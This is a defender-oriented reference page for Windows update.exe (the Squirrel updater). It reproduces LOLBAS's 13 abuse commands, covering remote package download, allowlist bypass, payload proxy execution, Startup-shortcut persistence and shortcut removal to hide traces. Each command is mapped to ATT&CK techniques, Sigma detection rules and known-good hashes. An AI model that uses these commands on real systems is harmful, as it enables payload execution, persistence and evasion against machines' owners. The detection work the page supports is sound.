Ceplin Command Identifier

Identifier / Programs / Windows

update.exe

Update file version info (xCyclopedia)

LOLBAS Download, AWL Bypass, Execute 3 Sigma rules name it 3 ATT&CK techniques 13 documented commands 1 known copy with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How update.exe is abused

documented by LOLBAS

Download T1218 System Binary Proxy Execution

--download

AWL Bypass T1218 System Binary Proxy Execution

--update

Execute T1218 System Binary Proxy Execution

--update

AWL Bypass T1218 System Binary Proxy Execution

--updaterollback

Execute T1218 System Binary Proxy Execution

--updaterollback

AWL Bypass T1218 System Binary Proxy Execution

--processstart
--process-start-args

Execute T1218 System Binary Proxy Execution

--processstart
--process-start-args

Execute T1547 Boot or Logon Autostart Execution

--createshortcut
-l

Execute T1070 Indicator Removal

--removeshortcut

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for update.exe.

13 documented commands

from LOLBAS, each read by the identifier

Download T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file and download the nuget package.

Update.exe --download {REMOTEURL}
Identify

Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

AWL Bypass T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Update.exe --update={REMOTEURL}
Identify

Trips no Sigma process-creation rule.

Execute T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Update.exe --update={REMOTEURL}
Identify

Trips no Sigma process-creation rule.

AWL Bypass T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Update.exe --update={PATH_SMB:folder}
Identify

Trips no Sigma process-creation rule.

Execute T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Update.exe --update={PATH_SMB:folder}
Identify

Trips no Sigma process-creation rule.

AWL Bypass T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Update.exe --updateRollback={REMOTEURL}
Identify

Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

Execute T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Update.exe --updateRollback={REMOTEURL}
Identify

Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

AWL Bypass T1218 System Binary Proxy Execution User privileges

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
Identify

Trips 1 Sigma rule: mediumProcess Proxy Execution Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

AWL Bypass T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Update.exe --updateRollback={PATH_SMB:folder}
Identify

Trips no Sigma process-creation rule.

Execute T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Update.exe --updateRollback={PATH_SMB:folder}
Identify

Trips no Sigma process-creation rule.

Execute T1218 System Binary Proxy Execution User privileges

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
Identify

Trips 1 Sigma rule: mediumProcess Proxy Execution Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

Execute T1547 Boot or Logon Autostart Execution User privileges

Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.

Update.exe --createShortcut={PATH:.exe} -l=Startup
Identify

Trips 1 Sigma rule: mediumProcess Proxy Execution Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

Execute T1070 Indicator Removal User privileges

Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.

Update.exe --removeShortcut={PATH:.exe}-l=Startup
Identify

Trips no Sigma process-creation rule.

6 of the 13 commands the identifier reads trip a Sigma process-creation rule; 7 trip none. These commands and their descriptions are from LOLBAS’s entry for update.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for update.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highPotential Compromised 3CXDesktopApp Update ActivityNasreddine Bencherchali (Nextron Systems)
mediumArbitrary File Download Via Squirrel.EXENasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community
mediumProcess Proxy Execution Via Squirrel.EXENasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community
T1070Indicator Removal
T1218System Binary Proxy Execution
T1547Boot or Logon Autostart Execution

Is it the real update.exe?

file version info and known copies
Installed inC:\Users\user\AppData\Local\Discord\
Signed byDiscord Inc.
ProductUpdate, GitHub
DescriptionUpdate

1 known copy

1.1.1.0 · C:\Users\user\AppData\Local\Discord\Update.exe · signed by Discord Inc.

e510ae1a59dd629d0c03425bcc4457e68926fe7b204154d9eebce9d2985925a1

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.